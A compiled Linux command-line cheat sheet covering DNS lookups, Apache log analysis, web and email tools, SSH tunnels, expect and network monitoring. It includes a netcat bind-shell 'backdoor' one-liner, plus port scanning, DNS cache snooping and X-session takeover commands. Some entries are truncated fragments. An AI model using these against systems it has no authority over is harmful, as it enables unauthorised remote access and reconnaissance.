 x11vnc -display :0 -auth $(ps -ef|awk '/xauth/ {print $15}'|head -1) -forever -bg &

* Share your terminal session (remotely or whatever)

 screen -x

* cvs, subversion

* Use a Gmail virtual disk (GmailFS) on Ubuntu

 mount.gmailfs none /mount/path/ [-o username=USERNAME[,password=PASSWORD][,fsname=VOLUME]] [-p]

LDAP

* LDAP search to query an ActiveDirectory server

 ldapsearch -LLL -H ldap://activedirectory.example.com:389 -b 'dc=example,dc=com' -D 'DOMAIN\Joe.Bloggs' -w 'p@ssw0rd' '(sAMAccountName=joe.bloggs)'

* decoding Active Directory date format

 ldapsearch -v -H ldap://<server> -x -D cn=<johndoe>,cn=<users>,dc=<ourdomain>,dc=<tld> -w<secret> -b ou=<lazystaff>,dc=<ourdomain>,dc=<tld> -s sub sAMAccountName=* '*' | perl -pne 's/(\d{11})\d{7}/"DATE-AD(".scalar(localtime($1-11644473600)).")"/e'

DNS

THE DOMAIN NAME SYSTEM

* resolve hostname to IP our vice versa with less output

 resolveip -s www.freshmeat.net

* Determine what version of bind is running on a dns server.

 dig -t txt -c chaos VERSION.BIND @<dns.server.com>

* flush cached dns lookups

 ipconfig /flushdns

* Check version of DNS Server

 nslookup -q=txt -class=CHAOS version.bind NS.PHX5.NEARLYFREESPEECH.NET

* gets the bare ip(s) of a domain

 dig commandlinefu.com | sed -nr 's/^[^;].*?\s([.0-9]{7,15})$/\1/ p'

* Get MX records for a domain

 host -t mx foo.org

* Reverse DNS lookups

 sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).in-addr.arpa domain name pointer\(.*\)\./\4.\3.\2.\1\5/' \ lookups.txt

* DNS cache snooping

 for i in `cat names.txt`; do host -r $i [nameserver]; done

* Check if a .no domain is available

 check_dns_no() { for i in $* ; do if `wget -O - -q http://www.norid.no/domenenavnbaser/whois/?query=$i.no | grep "no match" &>/dev/null` ; then echo $i.no "available" ; fi ; sleep 1 ;done }

* Get your public ip using dyndns

 curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+"

* Get fully qualified domain names (FQDNs) for IP address with

 NAME=$(nslookup $IP | sed -n 's/.*arpa.*name = \(.*\)/\1/p'); test -z "$NAME" && NAME="NO_NAME"; echo "$NAME"

* Get your external IP address if your machine has a DNS entry

 host $HOSTNAME|cut -d' ' -f4

* Get your external IP address if your machine has a DNS entry

 curl www.whatismyip.com/automation/n09230945.asp

* Perform a reverse DNS lookup

 dig -x 74.125.45.100

* Get your public ip using dyndns

 curl -s 'http://www.loopware.com/ip.php'

* Check reverse DNS

 dig -x {IP}

* Check reverse DNS

 dig +short -x {ip}

* Update your OpenDNS network ip

 wget -q --user=<username> --password=<password> 'https://updates.opendns.com/nic/update?hostname=your_opendns_hostname& myip=your_ip' -O -

* Update dyndns.org with your external IP.

 curl -v -k -u user:password "https://members.dyndns.org/nic/update?hostname=<your_domain_name_here> &myip=$(curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g')&wildcard=NOCHG&mx=NOCHG&backmx=NOCHG"

* Check reverse DNS

 host {checkIp or hostname} [dns server]

* Get MX records for a domain

 dig foo.org mx +short

* Short and sweet output from dig(1)

 alias ds='dig +noauthority +noadditional +noqr +nostats +noidentify +nocmd +noquestion +nocomments'

* Get your external IP address if your machine has a DNS entry

 dig +short $HOSTNAME

* List of reverse DNS records for a subnet

 nmap -R -sL 209.85.229.99/27 | awk '{if($3=="not")print"("$2") no PTR";else print$3" is "$2}' | grep '('

READING

USENET NEWS

* read news using the server 'nntp.aioe.org' (for example)

 slrn -h nntp.aioe.org

news reading programs .. slrn, in active development .. alpine, a mail and news program .. mutt, another mail and news program .. nn, .. tin, ..

WEB

SERVERS

* set an HTTP redirect to listen on port 80

 while [ 0 ]; do echo -e "HTTP/1.1 302 Found\nLocation: http://www.whatevs.com/index.html" | nc -vvvv -l -p 80; done

APACHE

....

* Simple list of apache2 virtualhosts

 /usr/sbin/apache2ctl -S

* Count how many times a certain referer appears in your apache log

 Q="reddit|digg"; F=*.log; awk -F\" '{print $4}' $F | egrep $Q | wc -l

* Search for specific IPs taken from a text file within the apache

 grep -E ":(`cat bnd-ips.txt | sed 's/\./\\./g' | tr '\n' '|'`)" access.log

* benchmark web server with apache benchmarking tool

 ab -n 9000 -c 900 localhost:8080/index.php

* Analyse compressed Apache access logs for the most commonly

 zcat access_log.*.gz | awk '{print $7}' | sort | uniq -c | sort -n | tail -n 20

* Who has the most Apache connections.

 netstat -anl | grep :80 | awk '{print $5}' | cut -d ":" -f 1 | uniq -c | sort -n | grep -c IPHERE

* Summarize Apache Extended server-status to show longest running

 links --dump 1 http://localhost/server-status|grep ^[0-9]|awk 'BEGIN {print "Seconds, PID, State, IP, Domain, TYPE, URL\n--"} $4 !~ /[GCRK_.]/ {print $6, $2, $4, $11, $12, $13 " " $14|"sort -n"}'

* grep apache access.log and list IP's by hits and date - sorted

 grep Mar/2009 /var/log/apache2/access.log | awk '{ print $1 }' | sort -n | uniq -c | sort -rn | head

* show Apache memory usage

 ps auxf | grep httpd | grep -v grep | grep -v defunct | awk '{sum=sum+$6}; END {print sum/1024}'

* How much RAM is Apache using?

 ps -o rss -C httpd | tail -n +2 | (sed 's/^/x+=/'; echo x) | bc

* Know which modules are loaded on an Apache server

 apache2 -t -D DUMP_MODULES

* Get list of all Apache Virtual Host and which is default for each

 httpd -S

* web-serve files in the current folder tree accessible at http://$HOSTNAME:8000/

 python -m SimpleHTTPServer ##(this is the simplest webserver setup)

* Top 10 requestors arranged by IP address from Apache/NCSA Logs

 awk '{print $1}' /var/log/httpd/access_log | sort | uniq -c | sort -rnk1 | head -n 10

WWW

THE WORLD WIDE WEB

* view the urls in the file 'eg.txt'

 wget www.dmoz.org/Computers/ -Oeg.txt; urlview eg.txt

* convert an html file into valid xml

 tidy -asxhtml -numeric < index.html > index.xml

* rapidshare download script in 200 characters

 u=`curl -d 'dl.start=Free' $(curl $1|perl -wpi -e 's/^.*"(http:\/\/rs.*)" method.*$/$1/'|egrep '^http'|head -n1)|grep "Level(3) \#2"|perl -wpi -e 's/^.*(http:\/\/rs[^\\\\]*).*$/$1/'`;sleep 60;wget $u

* Check your unread Gmail from the command line

 curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' | awk -F '<entry>' '{for (i=2; i<=NF; i++) {print $i}}' | sed -n "s/<title>\(.*\)<\/title.*name>\(.*\)<\/name>.*/\2 - \1/p"

* Twitpic upload and Tweet

 curl --form username=from_twitter --form password=from_twitter --form media=@/path/to/image --form-string "message=tweet" http://twitpic.com/api/uploadAndPost

* check site ssl certificate dates

 echo | openssl s_client -connect www.google.com:443 2>/dev/null |openssl x509 -dates -noout

* Parallel file downloading with wget

 wget -nv http://en.wikipedia.org/wiki/Linux -O- | egrep -o "http://[^[:space:]]*.jpg" | xargs -P 10 -r -n 1 wget -nv

* Search Google from the command line

 curl -A Mozilla http://www.google.com/search?q=test |html2text -width 80

* Log your internet download speed

 echo $(date +%s) > start-time; URL=http://www.google.com; while true; do echo $(curl -L --w %{speed_download} -o/dev/null -s $URL) >> bps; sleep 10; done &

* Check if a domain is available and get the answer in just one

 whois domainnametocheck.com | grep match

* count the appearance of a word or a string in a given webpage

 wget -q -O- PAGE_URL | grep -o 'WORD_OR_STRING' | wc -w

* Creating shortened URLs from the command line

 curl -s http://tinyurl.com/create.php?url=http://<website.url>/ | sed -n 's/.*\(http:\/\/tinyurl.com\/[a-z0-9][a-z0-9]*\).*/\1/p' | uniq

* Manually Pause/Unpause Firefox Process with POSIX-Signals

 killall -STOP -m firefox

* Extract all urls from the last firefox sessionstore.js file used.

 sed -e 's/{"url":/\n&/g' ~/.mozilla/firefox/*/sessionstore.js | cut -d\" -f4

DOWNLOADING

FROM THE WEB ....

web mirroring .. httrack - more interactive than wget .. wget

* Run remote web page, but don't save the results

 wget -O /dev/null http://www.google.com

COMIC

STRIPS ONLINE ....

* View the newest xkcd comic.

 wget `lynx --dump http://xkcd.com/|grep png`

* display the 'dilbert' comic strip of the day

 display http://dilbert.com$(curl -s dilbert.com|grep -Po '"\K/dyn/str_strip(/0+){4}/.*strip.[^\.]*\.gif')

* whois surfing my web ?

 watch lsof -i :80

CSS

CASCADING STYLE SHEETS ....

* Awk one-liner that sorts a css file by selector

 awk '/.*{$/{s[$1]=z[$1]=j+0}{l[j++]=$0}END{asorti(s);for(v in s){while(l[z[s[v]]]!~/}$/)print l[z[s[v]]++];print"}"ORS}}'

TWITTER

....

The microblogging website has become strangely popular.

* Update twitter from command line without reveal your password

 curl -n -d status='Hello from cli' https://twitter.com/statuses/update.xml

* Get your Tweets from the command line

 curl -s -u user:password 'http://twitter.com/statuses/friends_timeline.xml?count=5' | xmlstarlet sel -t -m '//status' -v 'user/screen_name' -o ': ' -v 'text' -n

* Print trending topics on Twitter

 wget http://search.twitter.com/trends.json -O - --quiet | ruby -rubygems -e 'require "json";require "yaml"; puts YAML.dump(JSON.parse($stdin.gets))'

* check if it is possible to connect to twitter

 wget http://twitter.com/help/test.json -q -O -

* another tweet function to view statuses

 tweet () { curl -u UserName -d status="$*" http://twitter.com/statuses/update.xml; }

* speak the last 3 tweets on mac os

 curl -s -u user:password http://twitter.com/statuses/friends_timeline.rss | grep title | sed -ne 's/<\/*title>//gp' | head -n 4 | say -v Bruce

* send tweets to twitter (and get user details)

 curl --basic --user "user:pass" --data-ascii "status=tweeting%20from%20%the%20linux%20command%20line" http://twitter.com/statuses/update.json

* Update twitter via curl

 curl -u user:pass -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml

* Print trending topics on Twitter

 curl -s search.twitter.com | awk -F'</?[^>]+>' '/\/intra\/trend\//{print $2}'

* Print trending topics on Twitter

 curl --silent search.twitter.com | sed -n '/div id=\"hot\"/,/div/p' | awk -F\> '{print $2}' | awk -F\< '{print $1}' | sed '/^$/d'

FIREFOX

....

The firefox browser is an important piece of software.

* how to run firefox in safe mode from command line

 firefox --safe-mode

* run the firefox profile manager (which manages default settings)

 firefox -no-remote -P

* view what percentage of memory firefox is using

 ps -o %mem= -C firefox-bin | sed -s 's/\..*/%/'

* Extract all urls from last firefox sessionstore

 perl -lne 'print for /url":"\K[^"]+/g' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q)

* release firefox from a still running message

 rm ~/.mozilla/firefox/<profile_dir>/.parentlock

* List recorded formular fields of Firefox incomplete??

 cd ~/.mozilla/firefox/ && sqlite3 $(cat profiles.ini | grep Path )

* Cleanup firefox's database.

 find ~/Library/Application\ Support/Firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;

* Speed up launch of firefox

 find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;

GRAPHICAL

WEB BROWSERS

some graphical browsers .. galeon - a small browser for gnome .. seamonkey .. iceweasel - debian firefox .. abrowser - unbranded firefox .. dillo - a very small browser ..

TEXT

MODE WEB SURFING ....

Text-mode web surfing means using a program running from a 'console' 'terminal' or 'command-line' to view web-pages. This generally means that it is not possible to view the images contained in the web-pages, only the text. While this is aesthetically inferior, it is faster and sometimes more useful and less distracting.

web browsers .. lynx - the classic text mode browser, debian: lynx, lynx-cur .. elinks - displays utf8, menus, bad default colours .. w3m - very strange key bindings, japanese oriented .. links - doesnt seem to have utf8 support

* a text mode browser with table support

 links  ##(press <f9> to set a menu of options)

* create a lynx macro by recording a session

 lynx -cmd_log logfilename

* the '-cmd_log' switch should go after a starting page

 lynx www.xx.net -cmd_log logfile    ##(this works)
 lynx -cmd_log logfile www.xx.net    ##(doesnt work!)

* replay a macro recorded with the -cmd_log switch

 lynx -cmd_script=/path/to/logfilename

* make lynx accept all cookies (also setable in the configuration file)

 lynx -accept_all_cookies www.xx.net

* w3m can display tables and with "w3m-img" images

 w3m

* output only text, with underscores, of the previous URL, and save it to the file 'winter_dreams', type (all on one line):

 lynx -dump -nolist -underscore http://www.utas.edu.au/ > winter_dreams 

* print the pure text, with underscores, of the previous URL in a Times Roman font, type (all on one line):

 lynx -dump -nolist -underscore http://www.sc.edu/fitzgerald/winterd/winter.html | enscript -B

* view the 'new york times' archive with user-name and password 'cypherpunks'

 lynx -auth=cypherpunks:cypherpunks http://www.nytimes.com/archive/ 

* save the URL www.nytimes.com/archive/ as an annotated text file, 'mynews'

 lynx -dump -number_links -auth=cypherpunks:cypherpunks www.nytimes.com/archive/ > mynews 

If you want a lynx file to go to a webpage through a password form, then dont press 'q' quit at the end of the recording or else this will be included in the macro. Quit lynx with control-c instead.

@@ http://www.timvw.be/listen-to-online-radio/

EMAIL

ELECTRONIC MAIL

* Sort a one-per-line list of email address, weeding out duplicates

 sed 's/[ \t]*$//' < emails.txt | tr 'A-Z' 'a-z' | sort | uniq > emails_sorted.txt

* extract email adresses from some file (or any other pattern)

 grep -Eio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})'

* Connect to SMTP server using STARTTLS

 openssl s_client -starttls smtp -crlf -connect 127.0.0.1:25

* Email HTML content

 mailx bar@foo.com -s "HTML Hello" -a "Content-Type: text/html" < body.htm

* Block the 6700 worst spamhosts

 wget -q -O - http://someonewhocares.org/hosts/ | grep ^127 >> /etc/hosts

ALPINE

....

Alpine is a 'console' based (curses) email client, allegedly used by linus torvalds. It uses the pico text editor to edit mail.

MUTT

....

@@ http://www.mutt.org the official site.

Mutt is apparently in active development. (Mutt 1.5.20 was released on June 14, 2009). Mutt uses an external text editor to edit mail

* Send email with one or more binary attachments

 echo "Body goes here" | mutt -s "A subject" -a /path/to/file.tar.gz

* Create mails array from .mutt-alias file.

 muttlst(){ for i in $*;do mails+=($(grep -wi "$i" .mutt-alias|awk '{print $NF}'));done;}

WEBMAIL

....

* Check your unread Gmail from the command line

 curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if /<name>/; print "$2\n" if /<(title|name)>(.*)<\/\1>/;'

ATTACHMENTS

....

* Decode a MIME message

 munpack file.txt

* Send a local file via email

 echo "see attached file" | mail -a filename -s "subject" email@address

* Send a binary file as an attachment to an email

 uuencode archive.tar.gz archive.tar.gz | mail -s "Emailing: archive.tar.gz" user@example.com

* Send a local file as an attachment via email

 mutt you@mailserver.com -s "Message Subject Here" -a attachment.jpg </dev/null

* Send a local file via email

 mpack -s "Backup: $file" "$file" email@id.com

EMAIL

ADDRESSES ....

* extract email adresses from some file (or any other pattern)

 grep -Eio '([[:alnum:]_.]+@[[:alnum:]_]+?\.[[:alpha:].]{2,6})' file.html

* Move all but the newest 100 emails to a gzipped archive

 find $MAILDIR/ -type f -printf '%T@ %p\n' | sort --reverse | sed -e '{ 1,100d; s/[0-9]*\.[0-9]* \(.*\)/\1/g }' | xargs -i sh -c "cat {}&&rm -f {}" | gzip -c >>ARCHIVE.gz

SMTP

PROTOCOL ....

* python smtp server

 python -m smtpd -n -c DebuggingServer localhost:1025

* Create AUTH PLAIN string to test SMTP AUTH session

 printf '\!:1\0\!:1\0\!:2' | mmencode | tr -d '\n' | sed 's/^/AUTH PLAIN /'

OLDER

MAIL SYSTEMS ....

* send an email message to lisa@example.com

 mail lisa@example.com 
Subject: Hello Hi there, long time no talk! I'm just learning how to use ,,,

* send an email message to user mrs on your local system mail mrs Subject: are you going to the party tonight? C-d ,,,

* mail the contents of the text file 'trades' to the email address terrapin@example.com

 mail terrapin@example.com < trades 

* mail the text of the URL [28 http://etext.org/ as annotated text to the email address droneon@example.com

 mail droneon@example.com < lynx -dump -number_links
http://etext.org/

* insert a copy of the current mail message into the body of the message you are writing, and then open the message in the default text editor ~f

* output the location of your INBOX

 echo $MAIL 
Usually, the INBOX location is in the '/var/spool/mail' directory, and has the same name as your username -- so if your username is mrs, your

* see if you have mail

 mail 
Mail version 8.1 6/6/93. Type ? for help. "/var/spool/mail/m": 3 messages 3 new ,,,

* read the next unread message in mail &

* read message number three in mail

 & 3 

* exit mail and revert your INBOX to its state before you started mail

 & x 

* delete the message you just read

 & d 

* delete message 3

 & d3 

* delete messages 10 through 14

 & d10-14 

* view the mail folder '~/email/mrs' in elm

 elm -f ~/email/mrs 

* view the contents of all of the email folders in your '~/email' directory

 cat ~/email/* > allmessages 
 elm -f allmessages 

* turn biff on

 biff y    ##(or put in .bashrc)

* see what biff is set to

 biff 

* see also xbiff,

* see how many email messages you have waiting

 messages 

* count the number of email messages in the mail folder '~/email/saved'

 messages ~/email/saved 

* output a list showing sender names and subjects of your incoming mail

 frm 

* output a list with sender names and subjects in the file '~/email/saved'

 frm ~/email/saved 

* verify that the email address user@example.edu is valid

 vrfy user@example.edu 

* verify all of the email addresses contained in the file 'mail-list'

 vrfy -f mail-list 

* mail the JPEG file 'dream.jpeg' in the current directory to dali@example.org metasend To: dali@example.org ,,,

* view the current history log with lynx

 lynx ~/.browser-history/history-log.html 

* find URLs visited in the year 2000 titles containing the word 'Confessions'

 zgrep Confessions ~/.browser-history/history-log-2000* 

* open the URL www.drudgereport.com/ in Mozilla from a shell script

 mozilla -remote 'openURL(http://www.drudgereport.com/)'

* go back to the last URL you visited

  type [ALT] [<-],

* forward to the next URL in your history,

  type [ALT] [->].

* open your bookmarks file in a new window, type [ALT]-b.

* archive the Web site at http://dougal.bris.ac.uk/~mbt/, only archiving the '/~mbt' directory, and writing log messages to a file called 'uk.log'

 wget -m -t3 -I /~mbt http://dougal.bris.ac.uk/~mbt/

* add 'HEIGHT' and `WIDTH' parameters to the file `index.html',

 imgsizer index.html 

* peruse the file 'index.html' with its HTML tags removed

 unhtml index.html | less 

* remove the HTML tags from 'index.html' and put the output in 'index.txt'

 unhtml index.html > index.txt 

* print a copy of http://example.com/essay/ in typescript manuscript form

 lynx -dump -underscore -nolist http://example.com/essay/ | pr -d | enscript -B 

* print a PostScript copy of the document at the URL

 html2ps http://example.com/essay/ | lpr 

* write a copy of the document at the URL with all hypertext links underlined

 html2ps -u -o submission.ps http://example.com/essay/ 

* validate the HTML in the file 'index.html'

 weblint index.html 

* connect to the system kanga.ins.cwru.edu

 telnet kanga.ins.cwru.edu 
Trying 129.22.8.32... Connected to kanga.INS.CWRU.Edu.

* disconnect from a remote Linux system

 C-d

* temporarily return to a local shell prompt faraway-system$ C-[ telnet> z

* return to the remote system

 fg 
faraway-system$ In the first of the two preceding examples, the escape character C-[

* make an anonymous ftp connection to ftp.leo.org

 ftp ftp.leo.org 
Connected to ftp.leo.org. 220-Welcome to LEO.ORG.

* change to the '/pub' directory on the remote system and look at the files that are there ftp> cd /pub 250 Directory changed to /pub.

* put a copy of the file 'thyme.rcp' from the current directory on the local system to the current directory of the remote system, type:
ftp> put thyme.rcp

* change to the parent directory of the current directory on the local system ftp> lcd .. Local directory now /home/james/demos

* download the file 'INDEX.gz' in the current directory on the remote system, saving it to your '~/tmp' directory ftp> lcd ~/tmp Local directory now /home/james/tmp

* output a list of all newsgroups that match the pattern 'society'

 nngrep society 
Use the '-u' option to only search through unsubscribed groups. This is

* output a list of all unsubscribed-to newsgroups that match the pattern 'society'

 nngrep society 
In the previous example, if you were already subscribed to the group

THE

PPP PROTOCOL

* start a PPP connection

 pon 

* stop a PPP session

 poff 

SENDING

AND RECEIVING FAXES

Debian: 'efax'

* fax a copy of the file 'resume.txt' to the number `555-9099', using DTMF tone dialing

 efax -d /dev/modem -t T555-9099 resume.txt 

* fax all of the files with the '.fax' extension in the current directory to the number '555-9099', using DTMF tone dialing

 efax -d /dev/modem -t T555-9099 *.fax 

* fax all of the files listed in the file 'fax.list' to the number '555-9099', dialing `9' first to obtain an outside line, and using DTMF tone dialing

 efax -d /dev/modem -t T9,555-9099 $(cat fax.list) 

* set up efax to receive an incoming fax, saving the session log to a file, 'faxlog'

 efax -d /dev/modem -kZ -w -iS0=1 2>&1 >> faxlog 
This command starts efax and sets up the modem to wait for an incoming

* automatically receive any incoming fax messages

 faxon 
efax: Wed Feb 24 08:38:52 1999 efax v 0.8a (Debian release 08a-6) Copyright 1996 Ed Casas

* convert the file 'chart.pbm' for faxing

 efix -i pbm chart.pbm > chart.fax 
This command converts a copy of the file 'chart.pbm' to the `tiffg3' fax format, writing it to a file called 'chart.fax'. The original PBM

* convert the PostScript file 'resume.ps' to fax format

 gs -q -sDEVICE=tiffg3 -dSAFER -dNOPAUSE -sOutputFile=resume.fax resume.ps < /dev/null 

* convert '19990325.001', a received fax file, to a PostScript file

 efix -o ps 19990325.001 > received.ps 

* dial the number '368-2208'

 ATDT3682208 

REMOTE

SHELLS

* Create a backdoor on a machine to allow remote connection to bash

 /bin/bash | nc -l 1234   ##(rather unwise...)

SSH

....

* Script executes itself on another host with one ssh command

 [ $1 == "client" ] && hostname || cat $0 | ssh $1 /bin/sh -s client

* connect via ssh using mac address

 sudo arp -s 192.168.1.200 00:35:cf:56:b2:2g temp && ssh root@192.168.1.200

* ssh and attach to a screen in one line.

 ssh -t user@host screen -x <screen name>

* Forward port 8888 to remote machine for SOCKS Proxy

 ssh -D 8888 user@site.com

* Copy ssh keys to user@host to enable password-less ssh logins.

 ssh-copy-id user@host

* Attach screen over ssh

 ssh -t remote_host screen -r

* login to an ssh server as root 'root@server.net'

 alias s='ssh -l root'

SSH

TUNNELS ....

* start a tunnel from some machine's port 80 to your local port 2001

 ssh -N -L2001:localhost:80 somemachine

* plink ssh connect

 plink lyu0@mysshserver -pw 123456

* Transfer large files/directories with no overhead over ssh

 ssh user@host "cd targetdir; tar cfp - *" | dd of=file.tar

* Create an SSH connection (reverse tunnel) through your firewall.

 ssh -R 2001:localhost:22 username@<remote server ip>

SSH

KEYS ....

* create an alias to logon to the sourceforge shell

 alias sfshell='ssh -t user,project@shell.sourceforge.net create'

* Copy your SSH public key on a remote machine for passwordless access

 cat ~/.ssh/*.pub | ssh user@remote-system 'umask 077; cat >>.ssh/authorized_keys'

* Remove invalid key from the known_hosts file for the IP address

 ssh-keygen -R `host hostname | cut -d " " -f 4`

* Remove invalid host keys from ~/.ssh/known_hosts

 ssh-keygen -R \[localhost\]:8022

* SSH connection through host in the middle

 ssh -t reachable_host ssh unreachable_host

* ssh autocomplete on the known hosts

 complete -W "$(echo `cut -f 1 -d ' ' ~/.ssh/known_hosts | sed -e s/,.*//g | uniq | grep -v "\["`;)" ssh

* find the difference between two nodes

 diff <(ssh nx915000 "rpm -qa") <(ssh nx915001 "rpm -qa")

* Copy something to multiple SSH hosts with a Bash loop

 for h in host1 host2 host3 host4 ; { scp file user@h$:/path/; }

* Setup a persistant SSH tunnel w/ pre-shared key authentication

 autossh -f -i /path/to/key -ND local-IP:PORT User@Server

* live ssh network throughput test

 pv /dev/zero|ssh $host 'cat > /dev/null'

* setup a tunnel from destination machine port 80 to localhost 2001,

 ssh -N -L2001:localhost:80 -o "ProxyCommand ssh someuser@hubmachine nc -w 5 %h %p" someuser@destinationmachine

* Enter your ssh password one last time

 cat .ssh/id_dsa.pub | ssh server.net "[ -d .ssh ] || mkdir .ssh ; cat >> .ssh/authorized_keys"

* open a seperate konsole tab and ssh to each of N servers

 for i in $(cat listofservers.txt); do konsole --new-tab -e ssh $i; done

* browse files on an ssh server

 mc

EXPECT

Expect is a useful tool to allow the scripting of tasks which would normally require some user interaction. Expect includes its own simple scripting language. Expect is available on the majority of unix type operating systems, including Mac OSX.

Entire books exist about expect, Expect is an extension to the 'tcl' language.

expect related tools .. expectk - a graphical front end .. autoexpect - create a script from an interactive session ..

* set the variable 'x' to the value 30

 set x 30

* make a script timeout after 20 seconds

 set timeout 20

The above is useful when interacting with servers which may not respond.

* start the 'ssh' program from within an expect script

 spawn ssh

* wait for the program spawn to say exactly "hello!"

 expect "hello!"

* wait for the program spawned to say anything with boggle in it

 expect "*boggle*"

* send the response "yes" to the spawned program

 send "yes\n"
 send "yes\r"     ##(more or less the same)
 send yes\r       ##(also possible, but not always)

* escape a '-' character in a send command

 send "/-4.5\n"

If we just wrote 'send "-4.5\n"' then expect would think that -4 was a flag and would crash

* a simple expect script #!/usr/bin/expect set timeout 20 set name [lindex $argv 0] set user [lindex $argv 1] set password [lindex $argv 2] spawn telnet $name expect "login:" send "$user " expect "Password:" send "$password " interact # hands interaction to the user ,,,

THE

SHELL

* set command line editing in the 'vi' mode

 set -o vi      ##(gives "vi" like command line editing keystrokes)
 set -o emacs   ##(return to the default mode) 

RAM

MEMORY

* View memory utilisation

 sar -r

* free swap

 free -b | grep "Swap:" | sed 's/ * / /g' | cut -d ' ' -f2

* Find the ratio between ram usage and swap usage.

 sysctl -a | grep vm.swappiness

* Monitor memory usage

 watch vmstat -sSM

VIRTUAL

MEMORY ....

* Add temporary swap space

 dd if=/dev/zero of=/swapfile bs=1M count=64; chmod 600 /swapfile; mkswap /swapfile; swapon /swapfile

* Clean swap area after using a memory hogging application

 swapoff -a ; swapon -a

* vmstat/iostat with timestamp

 vmstat 1 | awk '{now=strftime("%Y-%m-%d %T "); print now $0}'

DISKS

* check free disk space and display sizes in an easy to read format

 df -h

* show file and directory sizes for the current directory

 du -sh * 

HARD

DISK PARTITIONS ....

* list all hd partitions

 awk '/d.[0-9]/{print $4}' /proc/partitions

* show disk partitions and sizes

 sudo fdisk -l

* gparted: to repartition a disk

SERIAL

CONNECTIONS

* Test a serial connection

 host A: cat /proc/dev/ttyS0 host B: echo hello > /dev/ttyS0

THE

NETWORK

* Network Information

 ntop

* restart network manager

 sudo /etc/init.d/networking restart

* Consolle based network interface monitor

 ethstatus -i eth0

* Display ncurses based network monitor

 nload -u m eth0

* Show apps that use internet connection at the moment.

 netstat -lantp | grep -i stab | awk -F/ '{print $2}' | sort | uniq

* Monitor RX/TX packets and any subsquent errors

 watch 'netstat -aniv'

* Most simple way to get a list of open ports

 netstat -lnp

* eth-tool summary of eth# devices

 for M in 0 1 2 3 ; do echo eth$M ;/sbin/ethtool eth$M | grep -E "Link|Speed" ; done

* Check the status of a network interface

 mii-tool [if]

* find all active IP addresses in a network

 arp-scan -l

* Create a persistent connection to a machine

 ssh -MNf <user>@<host>

* directly ssh to host B that is only accessible through host A

 ssh -t hostA ssh hostB

* Show all programs on UDP and TCP ports with timer information

 netstat -putona

* ping the host bfi.org

 ping bfi.org 

* mtr, better than traceroute and ping combined

 mtr google.com

* Lists all listening ports together with the PID of the associated

 netstat -tlnp

* finger the user bradley@ap.spl.org finger bradley@ap.spl.org [ap.spl.org] Login: bradley Name: Bradley J Milton ,,,

* output the users who are currently logged in to the system ap.spl.org

 finger @ap.spl.org 

* find the IP address of the host linart.net

dig linart.net ...output messages... ;; ANSWER SECTION:
,,,

* find the host name that corresponds to the IP address 216.92.9.215

 dig -x 216.92.9.215 

* output the name of the Whois Server for linart.net

 whois linart.net 

* view the domain record for linart.net, using the whois.networksolutions.com

 whois -h whois.networksolutions.com linart.net 

* send the message 'get up!' to the terminal where user 'sleepy' is logged in

 write sleepy get up 

* output the contents of '/etc/motd' to all logged-in terminals,

 wall /etc/motd 

* output the text 'hello?' to all logged-in terminals

 wall hello? 

* disallow messages to be written to your terminal

 mesg n 

* output the current access state of your terminal

 mesg 

* request a chat with the user kat@kent.edu

 talk kat@kent.edu 

* view network traffic with protocols: wireshark

* find which tcp ports are currently in use

 lsof | grep TCP   ##(lsof lists all open unix 'files' including pipes)

* lots of detailed information

 lshw -C Network

* restart the gnome graphical network manager apple

 sudo restart network-manager

ANALYSING

THE NETWORK ....

* make an alias (command) to ping a yahoo server without any dns

 alias testnet='ping 69.147.114.224' 
##(this can determine if the problem is dns or tcpip)

* Router discovery

 sudo arp-scan 192.168.1.0/24 -interface eth0

* Show all machines on the network

 nmap 192.168.0-1.0-255 -sP

* Localize provenance of current established connections

 for i in $(netstat --inet -n|grep ESTA|awk '{print $5}'|cut -d: -f1);do geoiplookup $i;done

* List the number and type of active network connections

 netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c

SNIFFING

NETWORK TRAFFIC

* Remotely sniff traffic and pass to snort

 ssh root@pyramid \ "tcpdump -nn -i eth1 -w -" | snort -c /etc/snort/snort.conf -r -

TCPIP

PORTS ....

* List all TCP opened ports on localhost in LISTEN mode

 netstat -nptl

* which program is this port belongs to ?

 lsof -i tcp:80

* list all opened ports on host

 nmap -p 1-65535 --open localhost

* list all opened ports on host

 sudo lsof -P -i -n -sTCP:LISTEN

* Show apps that use internet connection at the moment.

 netstat -lantp | grep -i establ | awk -F/ '{print $2}' | sort | uniq

* Port Knocking!

 knock <host> 3000 4000 5000 && ssh -p <port> user@host && knock <host> 5000 4000 3000

* Show apps that use internet connection at the moment.

 ss -p

* netcat as a portscanner

 nc -v -n -z -w 1 127.0.0.1 22-1000

IP ADDRESSES ....

* Get My Public IP Address

 wget -qO - http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'

* What is my ip?

 curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'

* What is my ip? (hardened)

 curl --connect-timeout 3 http://www.whatismyip.org/

* geoip information

 GeoipLookUp(){ curl -A "Mozilla/5.0" -s "http://www.geody.com/geoip.php?ip=$1" | grep "^IP.*$1" | html2text; }

* Get My Public IP Address

 curl -s http://whatismyip.org/

* display ip address

 curl -s http://myip.dk | grep '<title>' | sed -e 's/<[^>]*>//g'

* Filter IPs out of files

 egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' file.txt

DHCP

DYNAMIC HOST CONTROL PROTOCOL ....

tools .. dhclient - sets up a dhcp client from the command line ..

* get IPs with a DHCP lease

 egrep "^lease" /var/lib/dhcp/db/dhcpd.leases |awk '{ print $2 }'

* randomize hostname and mac address, force dhcp renew. (for

